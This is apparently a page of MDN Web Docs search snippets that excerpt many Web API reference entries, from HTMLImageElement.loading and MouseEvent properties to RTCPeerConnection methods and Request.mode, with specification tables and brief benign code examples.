...}) specifications specification status comment html living standardthe definition of 'decode()' in that specification.
... living standard initial definition.
HTMLImageElement.loading - Web APIs
this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load.
... images whose loading attribute is set to lazy but are located within the visual viewport immediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load event.
... in other words, these images aren't loaded immediately when processing the <img> element, but are still loaded as part of the initial page load.
...oto-list"); let newitem = document.createelement("div"); newitem.classname = "photo-item"; let newimg = document.createelement("img"); newimg.loading = "lazy"; newimg.width = 320; newimg.height = 240; newimg.src = url; newitem.appendchild(newimg); list.appendchild(newitem); } specifications specification status comment html living standardthe definition of 'htmlimageelement.loading' in that specification.
HTMLInputElement.setSelectionRange() - Web APIs
html <input type="text" id="text-box" size="20" value="mozilla"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setselectionrange(2, 5); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
... living standard no change html 5.1the definition of 'htmlinputelement.setselectionrange()' in that specification.
... recommendation no change html5the definition of 'htmlinputelement.setselectionrange()' in that specification.
... recommendation initial definition ...
HTMLInputElement.stepDown() - Web APIs
specifications specification status comment html living standardthe definition of 'stepdown()' in that specification.
... living standard html 5.1the definition of 'stepdown()' in that specification.
... recommendation html5the definition of 'stepdown()' in that specification.
... recommendation initial definition ...
HTMLInputElement.stepUp() - Web APIs
specifications specification status comment html living standardthe definition of 'stepup()' in that specification.
... living standard html 5.1the definition of 'stepup()' in that specification.
... recommendation html5the definition of 'stepup()' in that specification.
... recommendation initial definition ...
HTMLIsIndexElement - Web APIs
specifications specification status comment html5the definition of 'htmlisindexelement' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'htmlisindexelement' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmlisindexelement' in that specification.
... obsolete initial definition.
HTMLLinkElement.rel - Web APIs
syntax var relstr = linkelt.rel; linkelt.rel = relstr; example var links = document.getelementsbytagname('link'); var length = links.length; for (var i = 0; i < length; i++) { alert(links[i]); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
... living standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
... obsolete initial definition.
HTMLMarqueeElement - Web APIs
text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe definition of 'htmlmarqueeelement' in that specification.
... html 5.2the definition of 'htmlmarqueeelement' in that specification.
... html 5.1the definition of 'htmlmarqueeelement' in that specification.
... html5the definition of 'htmlmarqueeelement' in that specification.
HTMLMediaElement.canPlayType() - Web APIs
"" (empty string) media of the given type definitely can't be played on the current device.
... example var obj = document.createelement('video'); console.log(obj.canplaytype('video/mp4')); // "maybe" specifications specification status comment html living standardthe definition of 'canplaytype' in that specification.
... living standard html5the definition of 'htmlmediaelement.canplaytype' in that specification.
... recommendation initial definition.
HTMLMediaElement.duration - Web APIs
if the element's media doesn't have a known duration—such as for live media streams—the value of duration is +infinity.
... examples var obj = document.createelement('video'); console.log(obj.duration); // nan specifications specification status comment html living standardthe definition of 'htmlmediaelement.duration' in that specification.
... living standard html5the definition of 'htmlmediaelement.duration' in that specification.
... recommendation initial definition.
HTMLMediaElement.pause() - Web APIs
specifications specification status comment html living standardthe definition of 'pause()' in that specification.
... living standard initial definition; living specification.
... html5the definition of 'pause()' in that specification.
... recommendation initial definition.
HTMLMediaElement.seekable - Web APIs
var video = document.queryselector("video"); var timerangesobject = video.seekable; var timeranges = []; //go through the object and output an array for (let count = 0; count < timerangesobject.length; count ++) { timeranges.push([timerangesobject.start(count), timerangesobject.end(count)]); } specifications specification status comment html living standardthe definition of 'htmlmediaelement' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement' in that specification.
... recommendation initial definition.
... media source extensionsthe definition of 'htmlmediaelement extensions, like for seekable' in that specification.
HTMLMenuElement - Web APIs
middle" alignment-baseline="middle">htmlmenuelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html living standardthe definition of 'htmlmenuelement' in that specification.
... living standard no change from latest snapshot, unknown html 5.2the definition of 'htmlmenuelement' in that specification.
... html 5.1the definition of 'htmlmenuelement' in that specification.
... initial definition.
HTMLMeterElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmeterelement' in that specification.
... living standard html 5.1the definition of 'htmlmeterelement' in that specification.
... recommendation no change html5the definition of 'htmlmeterelement' in that specification.
... recommendation initial definition ...
HTMLElement.blur() - Web APIs
tton" onclick="focusinput()">click me to gain focus</button> <button type="button" onclick="blurinput()">click me to lose focus</button> javascript function focusinput() { document.getelementbyid('mytext').focus(); } function blurinput() { document.getelementbyid('mytext').blur(); } result specification specification status comment html living standardthe definition of 'blur' in that specification.
... living standard html 5.1the definition of 'blur' in that specification.
... recommendation html5the definition of 'blur' in that specification.
... recommendation document object model (dom) level 2 html specificationthe definition of 'blur' in that specification.
HTMLOrForeignElement.dataset - Web APIs
e el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete el.dataset.dateofbirth; // result: el.dataset.dateofbirth === undefined // 'somedataattr' in el.dataset === false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status comment html living standardthe definition of 'htmlelement.dataset' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.dataset' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.dataset' in that specification.
... recommendation snapshot of html living standard, initial definition.
HTMLOrForeignElement.tabIndex - Web APIs
syntax element.tabindex = index; var index = element.tabindex; value index is an integer example const b1 = document.getelementbyid('button1'); b1.tabindex = 1; specifications specification status comment html living standardthe definition of 'tabindex' in that specification.
... document object model (dom) level 2 html specificationthe definition of 'tabindex' in that specification.
... document object model (dom) level 1 specificationthe definition of 'tabindex' in that specification.
... obsolete initial definition.
HTMLProgressElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlprogresselement' in that specification.
... living standard html 5.1the definition of 'htmlprogresselement' in that specification.
... recommendation html5the definition of 'htmlprogresselement' in that specification.
... recommendation initial definition.
HTMLTableElement.insertRow() - Web APIs
tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltableelement.insertrow()' in that specification.
... living standard document object model (dom) level 2 html specificationthe definition of 'htmltableelement.insertrow()' in that specification.
... document object model (dom) level 1 specificationthe definition of 'htmltableelement.insertrow()' in that specification.
... obsolete initial definition ...
HTMLTimeElement.dateTime - Web APIs
pt7h12m13s pt7h12m13.2s pt7h12m13.56s pt7h12m13.999s 7d 5h 24m 13s syntax datetimestring = timeelt.datetime; timeelt.datetime = datetimestring example // assumes there is <time id="t"> element in the html var t = document.getelementbyid("t"); t.datetime = "6w 5h 34m 5s"; specifications specification status comment html living standardthe definition of 'htmltimeelement' in that specification.
... html 5.1the definition of 'htmltimeelement' in that specification.
... html5the definition of 'htmltimeelement' in that specification.
... recommendation initial definition.
HTMLTimeElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltimeelement' in that specification.
... living standard html 5.1the definition of 'htmltimeelement' in that specification.
... html5the definition of 'htmltimeelement' in that specification.
... recommendation initial definition.
IDBVersionChangeEvent - Web APIs
s, so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'idbversionchangeevent' in that specification.
... recommendation initial definition.
... indexed database api draftthe definition of 'idbversionchangeevent' in that specification.
IIRFilterNode - Web APIs
the iirfilternode interface of the web audio api is a audionode processor which implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control devices and graphic equalizers as well.
...as an iir filter, the non-zero input continues forever, but this can be limited after some finite time in practice, when the output has approached zero closely enough.
... specifications specification status comment web audio apithe definition of 'iirfilternode' in that specification.
... working draft initial definition ...
Using IndexedDB - Web APIs
the request here was generated with a call to indexeddb.open(), so request.result is an instance of idbdatabase, and you definitely want to save that for later.
...to learn more, see the definition for transactions in the basic concepts article.
...to learn more, see the definition for transactions in the basic concepts article.
...} you should also listen for versionerror errors to handle the situation where already opened apps may initiate code leading to a new attempt to open the database, but using an outdated version.
KeyframeEffectOptions - Web APIs
defaults to 1, and can also take a value of infinity to make it repeat for as long as the element exists.
... specifications specification status comment web animations level 2the definition of 'keyframeeffectoptions' in that specification.
... web animationsthe definition of 'keyframeeffectoptions' in that specification.
... working draft initial definition.
MediaKeySystemConfiguration - Web APIs
properties mediakeysystemconfiguration.initdatatypes read only returns a list of supported initialization data type names.
... an initialization data type is a string indicating the format of the initialization data.
... specifications specification status comment encrypted media extensionsthe definition of 'mediakeysystemconfiguration' in that specification.
... recommendation initial definition ...
MediaSource.setLiveSeekableRange() - Web APIs
if the duration of the media source is positive infinity, then the timeranges object returned by the htmlmediaelement.seekable property will have a start timestamp no greater than this value.
...if the duration of the media source is positive infinity, then the timeranges object returned by the htmlmediaelement.seekable property will have an end timestamp no less than this value.
... return value undefined example // tbd specifications specification status comment media source extensionsthe definition of 'setliveseekablerange()' in that specification.
... recommendation initial definition.
MediaStreamEvent() - Web APIs
syntax var event = new mediastreamevent(type, mediastreameventinit); values type is a domstring containing the name of the event, like addstream or removestream.
... mediastreameventinit is a mediastreameventinit dictionary, having the following fields: "stream" of type mediastream representing the stream being concerned by the event.
... "bubbles", optional and defaulting to false, inherited from eventinit, and indicating if the event must bubble or not.
... "cancelable", optional and defaulting to false, inherited from eventinit, and indicating if the event can be canceled or not.
MouseEvent.button - Web APIs
WebAPIMouseEventbutton
syntax var buttonpressed = instanceofmouseevent.button return value a number representing a given button: 0: main button pressed, usually the left button or the un-initialized state 1: auxiliary button pressed, usually the wheel button or the middle button (if present) 2: secondary button pressed, usually the right button 3: fourth button, typically the browser back button 4: fifth button, typically the browser forward button as noted above, buttons may be configured differently to the standard "left to right" layout.
...break; case 1: log.textcontent = 'middle button clicked.'; break; case 2: log.textcontent = 'right button clicked.'; break; default: log.textcontent = `unknown button code: ${e.button}`; } } } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.button' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.button' in that specification.
... obsolete initial definition.
MouseEvent.clientX - Web APIs
p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clientx' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'mouseevent.clientx' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.clientx' in that specification.
... obsolete initial definition.
MouseEvent.clientY - Web APIs
p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clienty' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'mouseevent.clienty' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.clienty' in that specification.
... obsolete initial definition.
MouseEvent.relatedTarget - Web APIs
event.relatedtarget.id : "unknown"; log.innertext = `\ninto ${event.target.id} from ${related} ${mouseoutlog.innertext}`; } result specifications specification status comment ui eventsthe definition of 'mouseevent.relatedtarget' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseevent.relatedtarget' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.altkey' in that specification.
... obsolete initial definition.
MouseEvent.screenX - Web APIs
ou can get the coordinates of that event (e.g., a click) and route it properly, as the following example demonstrates: function checkclickmap(e) { if (e.screenx < 50) doredbutton(); if (50 <= e.screenx && e.screenx < 100) doyellowbutton(); if (e.screenx >= 100) doredbutton(); } specifications specification status comment css object model (cssom) view modulethe definition of 'screenx' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'mouseevent.screenx' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.sceenx' in that specification.
... obsolete initial definition ...
MouseEvent.screenY - Web APIs
p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'screeny' in that specification.
... document object model (dom) level 3 events specificationthe definition of 'mouseevent.screeny' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'mouseevent.sceeny' in that specification.
... obsolete initial definition ...
Node.cloneNode() - Web APIs
WebAPINodecloneNode
specifications specification status comment domthe definition of 'node.clonenode()' in that specification.
... living standard document object model (dom) level 3 core specificationthe definition of 'node.clonenode()' in that specification.
... obsolete document object model (dom) level 2 core specificationthe definition of 'node.clonenode()' in that specification.
... obsolete initial definition ...
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'node.namespaceuri' in that specification.
... document object model (dom) level 2 core specificationthe definition of 'dom level 2 core: xml namespaces' in that specification.
... obsolete document object model (dom) level 2 core specificationthe definition of 'node.namespaceuri' in that specification.
... obsolete initial definition ...
Node.nextSibling - Web APIs
WebAPINodenextSibling
specifications specification status comment domthe definition of 'node.nextsibling' in that specification.
... living standard no change document object model (dom) level 2 core specificationthe definition of 'node.nextsibling' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'node.nextsibling' in that specification.
... obsolete initial definition ...
Notation - Web APIs
WebAPINotation
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'notation' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'notation' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'notation' in that specification.
... obsolete initial definition ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
syntax var offlineaudiocompletionevent = new offlineaudiocompletionevent(type, init) parameters type optional a domstring representing the type of object to create.
... init optional options are as follows: renderedbuffer: the rendered audiobuffer containing the audio data.
... specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent()' in that specification.
... working draft initial definition.
PannerNode.rolloffFactor - Web APIs
"inverse" the range is 0 to infinity.
... "exponential" the range is 0 to infinity.
... graph for the test tone with a given rollofffactor // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (rollofffactor, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.rollofffactor = rollofffactor; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay fairly quickly scheduletesttone(1, context.currenttime); // this tone should dec...
...ay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'rollofffactor' in that specification.
ParentNode.childElementCount - Web APIs
this property was initially defined in the elementtraversal pure interface.
...object.defineproperty(constructor.prototype, 'childelementcount', { get: function() { var i = 0, count = 0, node, nodes = this.childnodes; while (node = nodes[i++]) { if (node.nodetype === 1) count++; } return count; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.childelementcount' in that specification.
... element traversal specificationthe definition of 'elementtraversal.childelementcount' in that specification.
... obsolete added its initial definition to the elementtraversal pure interface and use it on element.
ParentNode.firstElementChild - Web APIs
this property was initially defined in the elementtraversal pure interface.
... var node, nodes = this.childnodes, i = 0; while (node = nodes[i++]) { if (node.nodetype === 1) { return node; } } return null; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.firstelementchild' in that specification.
... element traversal specificationthe definition of 'elementtraversal.firstelementchild' in that specification.
... obsolete added its initial definition to the elementtraversal pure interface and use it on element.
PaymentDetailsBase - Web APIs
the paymentdetailsbase dictionary is a mixin used by the paymentdetailsinit and paymentdetailsupdate dictionaries.
... paymentdetailsinit provides payment information when calling the paymentrequest() constructor.
... specifications specification status comment payment request apithe definition of 'paymentdetailsbase' in that specification.
... candidate recommendation initial definition.
PaymentRequestEvent - Web APIs
paymentrequestoriginread only returns the origin where the paymentrequest object was initialized.
... toporiginread only returns the top-level origin where the paymentrequest object was initialized.
... specifications specification status comment payment handler apithe definition of 'paymentrequestevent' in that specification.
... working draft initial definition.
performance.now() - Web APIs
WebAPIPerformancenow
specifications specification status comment high resolution time level 2the definition of 'performance.now()' in that specification.
... recommendation stricter definitions of interfaces and types.
... high resolution timethe definition of 'performance.now()' in that specification.
... recommendation initial definition ...
PerformanceNavigationTiming.type - Web APIs
the value must be one of the following: navigate navigation started by clicking a link, entering the url in the browser's address bar, form submission, or initializing through a script operation other than reload and back_forward as listed below.
... prerender navigation is initiated by a prerender hint.
...d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'type' in that specification.
... working draft initial definition.
PerformanceObserverEntryList.getEntries() - Web APIs
"initiatortype", the type of the initiating resource (for example an html element).
... the values are defined by the performanceresourcetiming.initiatortype interface.
... performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to frame event only observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentries()' in that specification.
... candidate recommendation initial definition.
PointerEvent.pointerType - Web APIs
ntertype) { case 'mouse': process_pointer_mouse(event); break; case 'pen': process_pointer_pen(event); break; case 'touch': process_pointer_touch(event); break; default: console.log(`pointertype ${event.pointertype} is not suported`); } }, false); specifications specification status comment pointer eventsthe definition of 'pointertype' in that specification.
... obsolete initial definition.
... pointer events – level 2the definition of 'pointertype' in that specification.
... css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
PointerEvent - Web APIs
specifications specification status comment pointer events – level 3the definition of 'pointerevent' in that specification.
... pointer events – level 2the definition of 'pointerevent' in that specification.
... pointer eventsthe definition of 'pointerevent' in that specification.
... obsolete initial definition.
PositionOptions - Web APIs
the default value is infinity, meaning that getcurrentposition() won't return until the position is available.
...if set to infinity the device must return a cached position regardless of its age.
... specifications specification status comment geolocation apithe definition of 'positionoptions' in that specification.
... recommendation initial definition ...
PushEvent.PushEvent() - Web APIs
syntax var mypushevent = new pushevent(type, eventinitdict); parameters type a domstring defining the type of pushevent.
... eventinitdict optional an options object containing any initialization data you want to populate the pushevent object with.
...when the constructor is invoked, the pushevent.data property of the resulting object will be set to a new pushmessagedata object containing bytes extracted from the eventinitdict data member.
... example var datainit = { data : 'some sample text' } var mypushevent = new pushevent('push', datainit); mypushevent.data.text(); // should return 'some sample text' browser compatibility the compatibility table on this page is generated from structured data.
RTCIceCandidate.port - Web APIs
the a-line string is obtained either from the rtcicecandidateinit property candidate or from a-line string passed into the constructor upon using new rtcicecandidate().
... port is initialized to null if it is not specified in the candidate, or if the candidate string can't be parsed propertly.
... var candidateloc = { address: candidate.ip, port: candidate.port } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.port' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.priority - Web APIs
the a-line string is obtained either from the rtcicecandidateinit property candidate or from an a-line string passed into rtcpeerconnection.addicecandidate() instead of an rtcicecandidate.
... priority is initialized to null if it is not specified in the candidate, or if the candidate string can't be parsed propertly.
... = { candidate: "", sdpmid: null, sdpmlineindex: null, priority: 0 }; function handlecandidate(candidatestring) { var candidate = new rtcicecandidate(candidatestring); if (candidate.priority > bestcandidate.priority) { bestcandidate = candidate; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.priority' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate. toJSON() - Web APIs
the rtcicecandidate method tojson() converts the rtcicecandidate on which it's called into json in the form of an rtcicecandidateinit object.
... syntax json = rtcicecandidate.tojson(); return value an object conforming to the rtcicecandidateinit dictionary, whose members' values are set to the corresponding values in the rtcicecandidate object.
... var jsonstring = candidate.tojson().stringify(); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.tojson()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.addTransceiver() - Web APIs
syntax rtptransceiver = rtcpeerconnection.addtransceiver(trackorkind, init); parameters trackorkind a mediastreamtrack to associate with the transceiver, or a domstring which is used as the kind of the receiver's track, and by extension of the rtcrtpreceiver itself.
... init optional an object that conforms to the rtcrtptransceiverinit dictionary which provides any options that you may wish to specify when creating the new transceiver.
...this value is used to initialize the new rtcrtptransceiver object's rtcrtptransceiver.direction property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addtransceiver()' in that specification.
RTCPeerConnection.canTrickleIceCandidates - Web APIs
ice trickling is the process of continuing to send candidates after the initial offer or answer has already been sent to the other peer.
...if trickling isn't supported, or you aren't able to tell, you can check for a falsy value for this property and then wait until the value of icegatheringstate changes to "completed" before creating and sending the initial offer.
... }); }); }) .then(answer => sendanswertopeer(answer)) // signaling message .catch(e => handleerror(e)); pc.addeventlistener('icecandidate', e => { if (pc.cantrickleicecandidates) { sendcandidatetopeer(e.candidate); // signaling message } }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.cantrickleicecandidates' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.createDataChannel() - Web APIs
options optional an rtcdatachannelinit dictionary providing configuration options for the data channel rtcdatachannelinit dictionary the rtcdatachannelinit dictionary provides the following fields, any of which may be included in the object passed as the options parameter in order to configure the data channel to suit your needs: ordered optional indicates whether or not messages sent on the rtcdatachannel are required to arriv...
... the options which can be configured using the rtcdatachannelinit dictionary represent the script-settable subset of the properties on the rtcdatachannel interface.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createdatachannel()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.setLocalDescription() - Web APIs
syntax apromise = rtcpeerconnection.setlocaldescription(sessiondescription); pc.setlocaldescription(sessiondescription, successcallback, errorcallback); parameters sessiondescription optional an rtcsessiondescriptioninit or rtcsessiondescription which specifies the configuration to be applied to the local end of the connection.
... type of the description parameter the description is of type rtcsessiondescriptioninit, which is a serialized version of a rtcsessiondescription browser object.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.setlocaldescription()' in that specification.
... candidate recommendation initial specification.
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
example in this example, we have a pair of functions: the first, networkteststart(), captures an initial report, and the second, networkteststop(), captures a second report, then uses the two reports to output some information about the network conditions...
...div class="stats-entry"><h2>report id: ${endremoteoutbound.id}</h2>` + `remote peer sent ${packetssent} packets ${timestring}.<br>` + `${framestring}` + `data size: ${bytessent} bytes.</div>`; statsbox.innerhtml += logentry; } else { statsbox.innerhtml += `<div class="stats-error">unable to find initial statistics for id ${endremoteoutbound.id}.</div>` } } statsbox.scrollto(0, statsbox.scrollheight); } } } here's what's going on in the networkteststop() function: after calling the rtcpeerconnection method getstats() to get the latest statistics report for the connection and storing it in endreport, this is an rtcstatsreport object, which maps strings taken from th...
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstreamstats.localid' in that specification.
... candidate recommendation initial definition.
RTCRtcpParameters - Web APIs
this property cannot be changed once initialized.
...this property cannot be changed once initialized.
... function getrtpcname(rtpobject) { let parameters = rtpobject.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtcpparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.firCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: fircount' in that specification.
... candidate recommendation initial definition.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: fircount' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.nackCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: nackcount' in that specification.
... candidate recommendation initial definition.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: nackcount' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.pliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: plicount' in that specification.
... candidate recommendation initial definition.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: plicount' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.qpSum - Web APIs
e "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: qpsum' in that specification.
... candidate recommendation initial definition.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: qpsum' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.sliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: slicount' in that specification.
... candidate recommendation initial definition.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: slicount' in that specification.
... candidate recommendation initial definition.
Request.mode - Web APIs
WebAPIRequestmode
default mode requests can be initiated in a variety of ways, and the mode for a request depends on the particular means by which it was initiated.
... however, for requests created other than by the request.request constructor, no-cors is typically used as the mode; for example, for embedded resources where the request is initiated from markup, unless the crossorigin attribute is present, the request is in most cases made using the no-cors mode — that is, for the <link> or <script> elements (except when used with modules), or <img>, <audio>, <video>, <object>, <embed>, or <iframe> elements.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification.
... living standard initial definition ...
ResizeObserver - Web APIs
resizeobserver avoids infinite callback loops and cyclic dependencies that are often created when resizing via a callback function.
... resizeobserver.observe() initiates the observing of a specified element.
...0) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width / 600) + 'rem'; } } }); resizeobserver.observe(divelem); checkbox.addeventlistener('change', () => { if (checkbox.checked) { resizeobserver.observe(divelem); } else { resizeobserver.unobserve(divelem); } }); specifications specification status comment resize observerthe definition of 'resizeobserver' in that specification.
... editor's draft initial definition.
Response() - Web APIs
WebAPIResponseResponse
syntax var myresponse = new response(body, init); parameters body optional an object defining a body for the response.
... this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value).
... examples in our fetch response example (see fetch response live) we create a new response object using the constructor, passing it a new blob as a body, and an init object containing a custom status and statustext: var myblob = new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse = new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' in that specification.
... living standard initial definition ...
SVGAnimationElement - Web APIs
if the simple duration is undefined (e.g., the end time is indefinite), then a domexception with code not_supported_err is raised.
... specifications specification status comment svg animations level 2the definition of 'svganimationelement' in that specification.
... editor's draft scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimationelement' in that specification.
... recommendation initial definition ...
SVGExternalResourcesRequired - Web APIs
note: the svg dom defines the attribute externalresourcesrequired as being of type svganimatedboolean, whereas the svg language definition says that the attribute is not animated.
... because the svg language definition states that externalresourcesrequired cannot be animated, the animval will always be the same as the baseval.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgexternalresourcesrequired' in that specification.
... recommendation initial definition ...
SVGImageElement - Web APIs
svgimageelement.decode() initiates asynchronous decoding of the image data.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgimageelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgimageelement' in that specification.
... recommendation initial definition ...
StaticRange.StaticRange() - Web APIs
syntax var staticrange = new staticrange(rangespec) parameters rangespec the required rangespec parameter is an object adhering to the staticrangeinit dictionary.
... return value a new staticrange object initialized with the values given in the rangespec object.
... specifications specification status comment domthe definition of 'staticrange()' in that specification.
... living standard initial definition.
StaticRange - Web APIs
